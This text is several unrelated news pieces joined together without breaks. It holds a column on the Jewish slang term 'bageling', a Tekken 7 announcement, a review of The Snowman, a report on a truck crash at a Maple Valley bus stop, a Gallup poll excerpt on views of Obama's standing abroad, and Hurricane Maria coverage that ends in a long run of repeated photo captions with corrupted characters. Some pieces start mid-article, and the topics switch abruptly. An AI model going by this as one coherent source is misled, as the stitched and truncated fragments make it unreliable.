“The expression ‘to bagel someone’ was created by my best friend David (Doodie) Miller in Montreal, circa 1992. Popularized by our group of friends via word of mouth, it was first documented in print by Jessica Levine Kupferberg (wife of my other best friend from Montreal, Dr. David Kupferberg) who wrote up the matter in 2007, on the website Aish.com.
“What happened was this. As one of the few kippa-clad students on his university campus in Montreal, Doodie — who studied Theater and Political Science at Concordia University — couldn’t help but notice the recurring phenomenon of Jews eagerly seeking to communicate their Jewishness to him in various ways. As he related it, a fellow student in a classroom who showed no obvious signs of being Jewish would suddenly motion to him and whisper, ‘The teacher reminds me of my zayde.’ A few minutes later, the same student nonchalantly let out a krechtz and groaned in a faux Yiddish accent : ‘Oy! My back!’ And again, turning toward Doodie: ‘This class? It’s lasting longer than my Pesach seder.’”
“Doodie would regale us with these and other real (and embellished) incidents. Our group of Modern Orthodox friends immediately recognized the phenomenon from our personal experience and offered our own stories in return. I shared my account of an unknown woman on campus who, standing next to me as we waited for an elevator, randomly asked me, ‘How was your fast?’ (I’m not even sure that this was right after Yom Kippur.)”
“Doodie’s theory of all this was that when Jews on campus and elsewhere would see our kippas, they would instinctively want to identify, reach out, and connect. Montreal, after all, is a Jewishly traditional community. Doodie called this ‘The Bagel Theory of Judaism.’ ‘There I was in class,’ he would say, ‘and this guy starts to bagel me.’”
Jessica Levine Kupferberg’s Internet article confirms Neuer’s account, although in her version, a young woman sitting next to Doodie Miller whispered, “This class is as boring as my zayde’s seder.” To this she adds several bageling experiences of her own, such as the time in Rome an American tourist studying a map said loudly to his wife in the presence of Kupferberg and her husband, “I wonder where the synagogue is.” (The two couples struck up a conversation and went off to eat together in a kosher pizzeria.) Another time, she relates, on a beach in California, “an impish girl in cornrows and a bikini” scampered over to say “Good shabbes.” Bageling can also, she observes, be non-verbal, as when a little boy once ran up to her, flashed a mezuza around his neck and ran away with a grin.
Kupferberg’s article drew many comments, such as one by someone who, on a flight to Miami, found himself sitting next to “an older woman who struck me as an Orthodox Jew. After a while, she fell asleep and her bag toppled onto my lap. Waking up, she apologized and said, ‘What a day I’ve had with all this schlepping!’ With a smile, I replied, ‘At this altitude, who cares how much we kvetch?’ She looked at me, smiled back, and said, ‘I had a feeling.’” Bageled again!
Although we Jews tend to think that the world revolves around us, the Bagel Theory of Judaism should not be confused with the Bagel Theory of the Universe, or more precisely, the Big Bagel Theory of the Universe. As formulated by its originator, science writer Howard Bloom, in his book “The God Problem: How A Godless Cosmos Creates,” Big Bagel Theory seeks to explain the enigmas of “dark energy” and “anti-matter” by positing an originally bagel-shaped universe, through whose hole matter spouted forth, as it were, at the time of the Big Bang. Since I don’t pretend to understand Big Bagel Theory, I won’t try to get you to. I’ll only say in its defense that on certain days of light cloud cover the heavens do indeed look smeared with cream cheese.
Questions for Philologos may be sent to philologos@forward.com
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Tekken executive producer and game director Katsuhiro Harada revealed three new characters for Tekken 7 during a 20th anniversary stream for the series on Nico Nico.
The three new confirmed characters are Jin Kazama, which you can see in the video above, Devil Jin, and a wholly new character to the series Josie Rizal, which you can see in the videos below.
Jin Kazama and Devil Jin, seem much like they did in previous Tekken games, while Josie Rizal, the series first Filipina character, uses a kickboxing fighting style.
Tekken 7 was announced last year. The game, which is powered by Epic's Unreal Engine 4, is already in Japanese arcades, but Bandai Namco has yet to announce when the game will hit other platforms in other territories.
The weather outside is frightful in The Snowman, the long-gestating movie adaptation of Norwegian crime writer Jo Nesbo's 2007 literary smash hit, which has sold in the millions. Directed by Swedish left-field hitmaker Tomas Alfredson (Let the Right One In, Tinker Tailor Solider Spy), this is a classy, polished production with a starry international cast led by Michael Fassbender. It was previously earmarked for Martin Scorsese, who now has an executive producer credit.
But if production partners Universal and Working Title are hoping for a Scandi noir blockbuster to rival David Fincher's 2011 version of The Girl With the Dragon Tattoo, they are heading for disappointment. For all its high-caliber talent mix, The Snowman is a largely pedestrian affair, turgid and humorless in tone. The cast share zero screen chemistry, much of the dialogue feels like a clunky first draft and the wearily familiar plot is clogged with clumsy loose ends. While Nesbo's novel was a pulpy page-turner, formulaic but effective, Alfredson and his team have somehow managed to drain it of tension.
Of course, countless mediocre crime yarns have scored big at the box office. Director, author and star probably have a sufficiently large following between them to make The Snowman into a commercial hit, but nobody comes out of this production with their reputations enhanced. Critical reaction will be frosty, and Universal's reported hopes of launching a new franchise seem likely to melt away. Rolling out across much of Europe and the Middle East this week, Alfredson's chilly killer thriller is set to open Oct. 20 in the U.S.
A killer is targeting the young mothers of Oslo, building a sinister snowman as a calling card before he strikes. Maverick detective Harry Hole (Fassbender) is officially between cases, but he inveigles his way onto this one by shadowing a new arrival at the city's police department, Katrine Bratt (Rebecca Ferguson). Following a long trail of clues, the pair expand the investigation to include different cities and unsolved murders stretching back decades, soon realizing they have a serial killer on their hands. Their inquiries turn up murky connections between wealthy industrialist Arve Stop (J.K. Simmons), creepy doctor Idar Vetleson (David Dencik) and boozy detective Gert Rafto (Val Kilmer), who died years before in an apparent shotgun suicide.
In parallel with his police duties, Harry is also struggling to stay on good terms with his estranged ex-wife Rakel (Charlotte Gainsbourg), his sulky teenage stepson Oleg (Michael Yates) and Rakel's new partner Mathias (Jonas Karlsson). But as the murder investigation deepens, the killer gets Harry's family in his sights, and their deadly cat-and-mouse game turns personal. Meanwhile, Katrine is revealed to have a secret history that throws her interest in the case into question.
Fassbender plays the kind of rule-breaking antihero who ticks every cliche on the flawed-genius screen cop checklist. Harry's crime-fighting instincts are brilliant but unorthodox, which means his stuffy bosses indulge him while female co-workers find him dangerously irresistible. He may be too much of a self-absorbed drunk to keep his promises to his ex-wife and stepson, but both still adore him anyway. He is a chain-smoking alcoholic who routinely passes out on park benches, yet strangely still possesses the athletic stamina to chase villains across vast frozen landscapes wearing nothing but tastefully understated Nordic knitwear.
In its favor, The Snowman looks magnificent. Norway is a gift to Alfredson, with his strong eye for snow-covered landscapes and stylishly bare modernist interiors. Cinematographer Dion Beebe and production designer Maria Djurkovic transform the homely urban geography of Oslo into a Nordic Gotham City of deep shadows, towering churches and cavernous municipal halls, while the vast hinterland beyond the city becomes a majestic winter wonderland of frozen lakes and snowy peaks.
The Snowman also boasts a fine cast, though its leaden script and perfunctory characterization leave scant room for subtle performances. Arriving on set direct from Assassin's Creed, Fassbender coasts through the movie with his roguish charm on autopilot. Ferguson wrings a little more complexity from her traumatized avenging angel, but Gainsbourg wanders through her scenes in a daze, as if she has accidentally stumbled onto Alfredson's shoot en route to her latest self-lacerating encounter with Lars von Trier. Simmons, Chloe Sevigny and Toby Jones are all underused in glorified cameos. And Kilmer's minor role is just plain bizarre, with his raddled appearance and mannered dialogue that seems to be overdubbed in places.
Screenwriters Hossein Amini, Peter Straughan and Soren Sveistrup stick fairly closely to Nesbo's plot, with a few minor changes and shifts of emphasis. Thus The Snowman only has one major secret to keep us in suspense: the identity of the killer. Even for viewers unfamiliar with the book, this not-so-shocking surprise becomes pretty easy to call about midway through the story, leaving Alfredson to fill another hour with increasingly silly red herrings and pointless blind alleys.
In a movie that had more layers, deeper questions and more fully evolved characters, such predictable touches would not necessarily be fatal lapses. But The Snowman does not do subtext. Indeed, its by-the-numbers script barely qualifies as text. When the killer's risible psychological motivation is finally revealed, it feels as if the screenwriters began reading Freud for Dummies, but did not even get to the end. Alfredson has yet to make a terrible film, and The Snowman is certainly not terrible, but it falls way short of what a superior big-budget thriller should deliver.
Production companies: Universal Pictures, Working Title Films, Perfect World Pictures
Distributor: Universal
Cast: Michael Fassbender, Rebecca Ferguson, Charlotte Gainsbourg, Jonas Karlsson, J.K. Simmons, David Dencik, Val Kilmer, Toby Jones, Chloe Sevigny, James D'Arcy, Michael Yates
Director: Tomas Alfredson
Screenwriters: Hossein Amini, Peter Straughan, Soren Sveistrup, based on the novel by Jo Nesbø
Producers: Tim Bevan, Eric Fellner, Piodor Gustafsson, Robyn Slovo
Executive producers: Tomas Alfredson, Martin Scorsese, Liza Chasin, Amelia Granger, Jo Nesbo, Niclas Salomonsson, Emma Tillinger Koskoff
Cinematographer: Dion Beebe
Editors: Claire Simpson, Thelma Schoonmaker
Production designer: Maria Djurkovic
Music: Marco Beltrami
After finishing a graveyard shift, mechanic Eric Jhanson had just pulled into the driveway of his Maple Valley home shortly after 8 a.m. Thursday when he heard tires squealing.
“It sounded like some punk doing a burnout, and I thought, ‘That’s just not right,’ ” Jhanson recalled later.
But as the father headed up his block in the Cherokee Bay neighborhood, he quickly realized this wasn’t a prank.
On a nearby street corner, smoke billowed into the air, partly concealing a chaotic scene of children screaming and parents running.
Six middle-school boys were injured in a crash just after 8 a.m. Thursday as they waited for a bus in Maple Valley. Sgt. Cindi West of the King County Sheriff’s office gives an update. (Ellen Banner / The Seattle Times)
As Jhanson made his way through the haze, he quickly found the cause of the mayhem: A green Dodge pickup crashed into the front yard of a home where neighborhood children gather each morning to catch their school bus. And in the locked truck, a young man lay slumped over the steering wheel.
“The tires were still spinning, and he was unconscious,” Jhanson said.
By then, the 19-year-old driver had plowed into a half dozen middle-school-aged boys, seriously injuring three of them. The driver, whose license was suspended, apparently had suffered a seizure just before the accident, a sheriff’s spokeswoman later said.
The driver, a Maple Valley teen who Jhanson and another neighbor eventually pulled to safety, was later booked into jail for investigation of vehicular assault.
When the smoke cleared, authorities said the teen lost control of the pickup, which struck a mailbox that catapulted into two of the boys. The truck then barreled into three more boys and grazed another before hitting a tree.
Thirteen-year-old Max Pringle, his legs scraped after the truck grazed and knocked him into a garden wall, picked himself up and ran for help.
“He came running up in a panic and said this truck had just run into a bunch of kids at the bus stop,” his father, Garth Pringle, later recounted. “His legs were all scraped up, but he still had the presence of mind to … come get me.”
When they hurried back, two boys were laid out near the accident scene, clearly in anguish, Garth Pringle said. Another boy had an obvious broken leg.
“Parents were just trying to keep them still so they wouldn’t move,” he said.
In all, six boys suffered a variety of injuries in the crash near Southeast 271st Street and 218th Avenue Southeast. Authorities initially described several injuries as life-threatening, but Maple Valley Fire Chief Brad Doerflinger later said all boys are expected to survive.
While others tended to the injured children, Jhanson and another neighbor, Rob Zippro, broke the passenger-side window of the truck with its tires still spinning.
“The guy’s foot was just cranked on the gas,” Zippro said.
Smoke from the burning tires filled the truck’s cabin as Jhanson shut off the ignition. He and Zippro pulled the man from the truck and onto the ground.
“We tried talking to him … A couple minutes later, he was slurring, but you couldn’t understand what he was saying,” Zippro said.
Fire medics came to assess the man, saw he was unconscious but not injured, and went to help the children hurt in the crash, Zippro said.
“When I turned back around, he was throwing up,” he added. “I moved him to his side so he could continue to throw up. That’s when it seemed like he was gaining awareness of what was going on.”
Court records show the driver had been issued a ticket for driving 82 mph in a 60 mph zone in 2014. The teenager later attended a traffic class to mitigate the ticket.
King County sheriff’s spokeswoman Cindi West said the driver’s license had been suspended, and investigators learned “he has a seizure history.”
“He shouldn’t have been behind the wheel,” West said.
The driver, who was taken to a nearby hospital for evaluation after the accident, was booked into the King County Regional Justice Center in Kent on Thursday afternoon. He was being held without bail, but he had not been charged.
Meantime, at least two boys remained hospitalized Thursday afternoon.
One boy, 11, was taken to Harborview Medical Center in Seattle with chest injuries. He was awake, alert and in serious condition in intensive care, a hospital spokeswoman said.
Two other boys went to Valley Medical Center in Renton. One boy was released, while another boy, 11, was in satisfactory condition with a broken leg.
The three other victims, including Max Pringle, were treated for bruises and scrapes at the scene, Doerflinger said.
The results are based on Gallup's annual World Affairs poll, conducted Feb. 6-9. Although opinions about a president's perceived world standing often track with his job approval rating, a majority of Americans still thought world leaders respected Obama in 2010 and 2011, when his job approval was similar to what it is now. Thus, the recent decline may be more tied to specific international matters from the past year, such as the revelation the U.S. was listening in on foreign leaders' phone calls, the situation in Syria, increased tensions with Russia, and an uneasy relationship between Obama and Israeli Prime Minister Benjamin Netanyahu.
Though the current data represent a personal low for Obama, they are not the lowest Gallup has measured since the question was first asked in 1994. That was reached in 2007, when 21% of Americans thought world leaders respected President George W. Bush. President Bill Clinton's ratings in 1994 and 2000 were similar to Obama's current ratings.
Democrats and independents are mainly responsible for the slide in Obama's ratings. Independents now, by a wide margin, believe world leaders do not respect Obama. Republicans were already largely convinced world leaders don't respect the president.
Slim Majority Still Thinks U.S. Viewed Favorably
At the same time that Americans think other world leaders view Obama more negatively, Americans still think the international community views the U.S. as a country favorably (51%) rather than unfavorably (47%).
Americans have been more optimistic about the United States' worldwide image since 2010 than they were from 2005 to 2009, years when more thought the world viewed the U.S. unfavorably than favorably. Americans were much more likely to think the rest of the world viewed the U.S. favorably in the early 2000s. Opinions began to change in the lead-up to the 2003 Iraq war.
Americans Still Dissatisfied With U.S. Position in the World
Sixty-one percent of Americans are dissatisfied, and 37% are satisfied, with the position of the United States in the world today. That level of dissatisfaction has generally persisted since 2007. The last time a majority of Americans were satisfied was in 2003, just after the U.S. toppled Saddam Hussein's regime in Iraq. By 2004, once it was clear the U.S. would be in a long-term engagement in Iraq, a majority became dissatisfied.
Implications
Americans' perceptions of how other nations view the U.S. have not changed in the past year, but their opinions of how world leaders view the president have. Now, Americans believe other world leaders generally do not respect Obama. This could be related to a series of tense moments in the past year between Obama and prominent foreign leaders, many of whom are close U.S. allies.
Americans themselves are not overly positive about the way the president is handling foreign affairs specifically, with 40% approving of his job in that area, one percentage point above his low last November.
Aldea reached out to hold her mother's hand.
"Relax," she said. "It's okay."
Related: [‘If anyone can hear us … help.’ Puerto Rico’s mayors describe widespread devastation from Hurricane Maria]
Four days after a major hurricane battered Puerto Rico, leaving the entire island in a communications and power blackout, regions outside San Juan remained disconnected from the rest of the island — and the world. Juncos, in a mountainous region southeast of the capital that was slammed with Maria's most powerful winds, remains isolated, alone, afraid.
MOROVIS, PUERTO RICO ? SEPTEMBER 25: Residents of San Lorenzo neighborhood can't access their houses because the river destroyed the bridge that communicate them with the main road of access. The mountain town of Morovis, in the south west of San Juan, is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) MOROVIS, PUERTO RICO ? SEPTEMBER 25: A family cross the San Lorenzo River in Morovis. Residents of San Lorenzo neighborhood can't access their houses because the river destroyed the bridge that communicate them with the main road of access. The mountain town of Morovis, in the south west of San Juan, is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) MOROVIS, PUERTO RICO ? SEPTEMBER 25: A group of people wait on top of a broken bridge in Morovis. Residents of San Lorenzo neighborhood can't access their houses because the river destroyed the bridge that communicate them with the main road of access. The mountain town of Morovis, in the south west of San Juan, is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) MOROVIS, PUERTO RICO ? SEPTEMBER 25: Fema first responders survey the San Lorenzo River area. San Lorenzo neighborhood in Morovis still incommunicated. Residents of San Lorenzo neighborhood can't access their houses because the river destroyed the bridge that communicate them with the main road of access. The mountain town of Morovis, in the south west of San Juan, is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) MOROVIS, PUERTO RICO ? SEPTEMBER 25: Wilfredo Cruz and Soraida Sierra family house was destroyed by hurricane Maria. The mountain town of Morovis, in the south west of San Juan, is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: Edwin Rivera put away damaged belongings in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: A woman waits outside her car in a line for gasoline in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: People wait in a gas station line in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: Joanyely Ayende (10 years) help cleaning her house in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: Julio Otero cleans inside a restaurant bar that was flooded in Toa Baja.The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO ? SEPTEMBER 25: A Rosary stands inside a flooded car in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) TOA BAJA, PUERTO RICO – SEPTEMBER 25: Volunteers serve food to police and gasoline station workers in Toa Baja. The costal town of Toa Baja, in the north the island, is one of the most affected by flooding after the pass of Hurricane María. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) JUNCOS PUERTO RICO – SEPTEMBER 24: Meryanne Aldea loss everything ate her house after the winds of hurricane Maria ripped away her roof. The mountain town of Juncos is one of the most affected after the pass of Hurricane María. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) JUNCOS PUERTO RICO ? SEPTEMBER 24: Meryanne Aldea loss everything at her house after the winds of hurricane Maria ripped away her roof. The mountain town of Juncos is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) JUNCOS PUERTO RICO – SEPTEMBER 24: A man cut branches that fell over his property in Juncos. The mountain town of Juncos is one of the most affected after the pass of Hurricane María. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) JUNCOS PUERTO RICO – SEPTEMBER 24: Juan Ramon Velazquez cleans up debris on the second floor of his residence. The mountain town of Juncos is one of the most affected after the pass of Hurricane María. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) JUNCOS PUERTO RICO ? SEPTEMBER 24: Sunday mass at San Juan Bautista Church at Valencia Arriba, Juncos. The mountain town of Juncos is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) Family members collect belongings after hurricane force winds destroyed their house in Toa Baja, west of San Juan, Puerto Rico, on September 24, 2017 following the passage of Hurricane Maria. Authorities in Puerto Rico rushed on September 23, 2017 to evacuate people living downriver from a dam said to be in danger of collapsing because of flooding from Hurricane Maria. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images epa06224396 A picture made available on 24 September 2017 shows a general view of a flooded establishment in the aftermath of Hurricane Maria, in San Juan, Puerto Rico, 23 September 2017. Puerto Rico hopes that the arrival of aid from the United States, in the form of food, supplies and technical personnel, will help improve the situation three days after Hurricane Maria that left at least seven people dead, according to official figures from the Government, although municipal sources put the figure at more than 12. EPA-EFE/Thais Llorca QUALITY REPEAT epa06224395 A picture made available on 24 September 2017 shows a general view of a flooded street in the aftermath of Hurricane Maria, in San Juan, Puerto Rico, 23 September 2017. Puerto Rico hopes that the arrival of aid from the United States, in the form of food, supplies and technical personnel, will help improve the situation three days after Hurricane Maria that left at least seven people dead, according to official figures from the Government, although municipal sources put the figure at more than 12. EPA-EFE/Thais Llorca QUALITY REPEAT People collect water from a natural spring created by the landslides in a mountain next to a road in Corozal, west of San Juan, Puerto Rico, on September 24, 2017 following the passage of Hurricane Maria. Authorities in Puerto Rico rushed on September 23, 2017 to evacuate people living downriver from a dam said to be in danger of collapsing because of flooding from Hurricane Maria. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images epa06225032 Inhabitants queue to receive supplies from authorities in San Juan, Puerto Rico, 24 September 2017. Puerto Rico hopes that the arrival of aid from the United States, in the form of food, supplies and technical personnel, will help improve the situation three days after Hurricane Maria that left a provisional death toll of 9, and 15,000 refugees. EPA-EFE/Thais Llorca National Guard Soldiers arrive at Barrio Obrero in Santurce to distribute water and food among those affected by the passage of Hurricane Maria, in San Juan, Puerto Rico, Sunday, Sept. 24, 2017. Gov. Ricardo Rossello said "This is a major disaster." "We've had extensive damage. This is going to take some time." (AP Photo/Carlos Giusti) PUERTO RICO ? SEPTEMBER 23: Lines at a gas station at Morovis Puerto Rico. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 23: Gas lines in San Juan, people have to wait in line for almost 3 hours in order to get gasoline. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 23: People gathered at the old Telegraph building in San Juan to use a free wifi signal that has been opened. Communications have been precarious and nearly impossible in the island. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 23: People gathered at the old Telegraph building in San Juan to use a free wifi signal that has been opened. Communications have been precarious and nearly impossible in the island. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 23: A devastated house in Morovis Puerto Rico. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 22: Ocean Park community in San Juan stills underwater. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) PUERTO RICO ? SEPTEMBER 22: Damaged airplanes at Vieques Airport. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post) A woman looks at the damages in the neighbour's house after the area was hit by Hurricane Maria in Salinas, Puerto Rico, September 21, 2017. REUTERS/Carlos Garcia Rawlins People walk next to damaged houses after the area was hit by Hurricane Maria in Salinas, Puerto Rico September 21, 2017. REUTERS/Carlos Garcia Rawlins Damaged bicycles are seen after the area was hit by Hurricane Maria in Salinas, Puerto Rico, September 21, 2017. REUTERS/Carlos Garcia Rawlins A local looks at the devastation left by Hurricane Maria, in Yabucoa, Puerto Rico, Thursday, September 21, 2017. As of Thursday evening, Maria was moving off the northern coast of the Dominican Republic with winds of 120 mph (195 kph). The storm was expected to approach the Turks and Caicos Islands and the Bahamas late Thursday and early Friday. (AP Photo/Carlos Giusti) Damaged sail boats washed ashore are seen in the aftermath of Hurricane Maria in Fajardo, Puerto Rico, Thursday, September 21, 2017. Puerto Rico braced for potentially calamitous flash flooding after being pummeled by Hurricane Maria which devastated the island and knocked out the entire electricity grid. The hurricane, which Puerto Rico Governor Ricardo Rossello called "the most devastating storm in a century," had battered the island of 3.4 million people after roaring ashore early Wednesday with deadly winds and heavy rain. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images A man looks at the damage in a marina after the area was hit by Hurricane Maria in Salinas, Puerto Rico September 21, 2017. REUTERS/Carlos Garcia Rawlins Toa Baja, PUERTO RICO ? SEPTEMBER 21: A car stands in the middle of a flooded street in Levittown. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. In the community of Levittown dozens where evacuated last night, but others still wait for the help to come. Levittown, Toa Baja September 21, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) Chairs are seen in front of a flooded house in Juana Matos, Catano, Puerto Rico, on September 21, 2017. Puerto Rico braced for potentially calamitous flash flooding after being pummeled by Hurricane Maria which devastated the island and knocked out the entire electricity grid. The hurricane, which Puerto Rico Governor Ricardo Rossello called "the most devastating storm in a century," had battered the island of 3.4 million people after roaring ashore early Wednesday with deadly winds and heavy rain. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images A man uses a stand up paddle board to row down a street flooded by Hurricane Maria in Juana Matos, Catano, Puerto Rico, on September 21, 2017. Puerto Rico braced for potentially calamitous flash flooding after being pummeled by Hurricane Maria which devastated the island and knocked out the entire electricity grid. The hurricane, which Puerto Rico Governor Ricardo Rossello called "the most devastating storm in a century," had battered the island of 3.4 million people after roaring ashore early Wednesday with deadly winds and heavy rain. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images A man walks before a fallen tree in the aftermath of Hurricane Maria on Thursday, September 21, 2017 in Fajardo, Puerto Rico. Maria made landfall on Puerto Rico, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images SAN JUAN, PUERTO RICO ? SEPTEMBER 20: Hurricane Maria Landfalls in Puerto Rico San Juan September 20, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) Trees are toppled in a parking lot at Roberto Clemente Coliseum in San Juan, Puerto Rico, on September 20, 2017, during the passage of the Hurricane Maria. Maria made landfall on Puerto Rico on Wednesday, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images A man looks as trees are toppled in a parking lot at Roberto Clemente Coliseum in San Juan, Puerto Rico, on September 20, 2017, during the passage of the Hurricane Maria. Maria made landfall on Puerto Rico on Wednesday, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images Rain and wind hit a parking lot at Roberto Clemente Coliseum in San Juan, Puerto Rico, on September 20, 2017, during the passage of the Hurricane Maria. Maria made landfall on Puerto Rico on Wednesday, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images Residents seek shelter inside Roberto Clemente Coliseum in San Juan, Puerto Rico, early on September 20, 2017, as Hurricane Maria passes the island. Hurricane Maria closed in on the Virgin Islands and Puerto Rico on September 20 as forecasters warned of a "potentially catastrophic" storm that has already killed at least two people in the Caribbean. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images A man passes through a door at Roberto Clemente Coliseum in San Juan, Puerto Rico, which suffered damages from wind on September 20, 2017, during the passage of the Hurricane Maria. Maria made landfall on Puerto Rico on Wednesday, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images People arrive to the Emergency Operation Centre looking for shelter after the area was hit by Hurricane Maria in Guayama, Puerto Rico September 20, 2017. REUTERS/Carlos Garcia Rawlins A parking lot is flooded near Roberto Clemente Coliseum in San Juan, Puerto Rico, on September 20, 2017, during Hurricane Maria. Maria slammed into Puerto Rico on Wednesday, cutting power on most of the US territory as terrified residents hunkered down in the face of the island's worst storm in living memory. After leaving a deadly trail of destruction on a string of smaller Caribbean islands, Maria made landfall on Puerto Rico's southeast coast around daybreak, packing winds of around 150mph (240kph). / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images Residents of San Juan, Puerto Rico, deal with damages to their homes on September 20, 2017, as Hurricane Maria batters the island. Maria slammed into Puerto Rico on Wednesday, cutting power on most of the US territory as terrified residents hunkered down in the face of the island's worst storm in living memory. After leaving a deadly trail of destruction on a string of smaller Caribbean islands, Maria made landfall on Puerto Rico's southeast coast around daybreak, packing winds of around 150mph (240kph). / AFP PHOTO / Hector RETAMALHECTOR RETAMAL/AFP/Getty Images SAN JUAN, PUERTO RICO ? SEPTEMBER 20: Fishing boats with severe damage at Club Nautico in the San Juan Bay. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. San Juan September 20, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 20: Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. San Juan September 20, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 20: A mattress, that fell from the third floor lays at ground level surrounded with debris from neighboring apartments at Ciudadela complex in Santurce. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. San Juan September 20, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 20: A destroyed residential and comercial building in the waterfront neighborhood of el Condado in San Juan. 